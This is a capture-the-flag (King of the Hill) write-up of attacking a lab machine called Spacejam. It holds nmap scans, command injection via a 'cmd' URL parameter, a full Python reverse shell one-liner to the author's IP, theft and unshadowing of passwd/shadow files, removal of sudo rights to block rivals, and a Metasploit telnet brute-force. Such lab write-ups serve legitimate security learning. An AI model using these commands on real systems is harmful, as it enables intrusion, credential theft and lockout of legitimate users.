Noah's Spacejam KOTH writeup

I started by running two nmap scans, one ‘fast’ scan with the –f flag for top 1,00 ports, and another full scan with –p- for all ports. sudo nmap -f -sC -sV -T5 -oN fastscan -v 10.10.182.201 sudo nmap -p- -v -sC -sV -T5 -oN fullscan 10.10.182.201

Abbreviated output of the fast scan:

Scanning 10.10.182.201 [1000 ports] Discovered open port 80/tcp on 10.10.182.201 Discovered open port 23/tcp on 10.10.182.201 Discovered open port 22/tcp on 10.10.182.201 Discovered open port 3000/tcp on 10.10.182.201 Discovered open port 9999/tcp on 10.10.182.201 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0) 23/tcp open telnet Linux telnetd 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methods: | Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Michael Jordan 3000/tcp open http Node.js (Express middleware) | http-methods: | Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn't have a title (text/html; charset=utf-8). 9999/tcp open http Golang net/http server

Taking a random port, I jumped to port 3000 in the browser which gave a very useful hint of ‘cmd parameter missing’. Testing the cmd parameter assuming it ran OS commands I did a test of http://10.10.182.201:3000/?cmd=whoami which said root This seemed too easy but all evidence showed it really did run commands as root. Before creating my reverse shell I did a http://10.10.182.201:3000/?cmd=echo unnoable > /root/king.txt to get the king points started. Going over to pentestmonkey’s reverse shell cheat sheet I started a nc –lvnp 12345 listener on my end and ran the python shell after checking which python. http://10.10.182.201:3000/?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.2.5.16",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' I then upgraded my shell with python and stty: python -c 'import pty; pty.spawn("/bin/bash")' [ctrl + z] stty raw –echo fg Making it harder for others to follow me to root I cleared out the sudo permissions which were a straight shot to root with both users having all sudo access with no password. I tried adding a new user account but something was messing it up so I just left it and made sure not to lose my access. Doing some post exploitation I stole the passwd and shadow files to crack the passwords later. They are in a crackable form now by using the john unshadow tool sudo /usr/sbin/unshadow passwd shadow > unshadow.crack. I looked around the machine but only found 2 flags, a duplicate user.txt for both bunny and Jordan, and a root.txt. Rob had also gotten root and did some fuckery with the king.txt so it was impossible to add your name to it. I tried searching the running processes with ps –ef | grep king.txt but couldn’t find the loop he said he was running. I also attempted bruteforcing the telnet login, and trying an empty username/password. msfconsole search telnet_login use 0 options set RHOSTS 10.10.182.201 set USERNAME spacejam set PASS_FILE /usr/share/wordlists/rockyou.txt run But then it locked me out after like 3 tries :( There was also a pretty plain looking website on port 80. Running gobuster on that originally showed a couple of directories including /flag/. I tried running it again on that directory but didn’t get anything. I probably could have searched for php, html, or txt files with the –x txt,html,php gobuster flag but there wasn’t a lot of time at this point.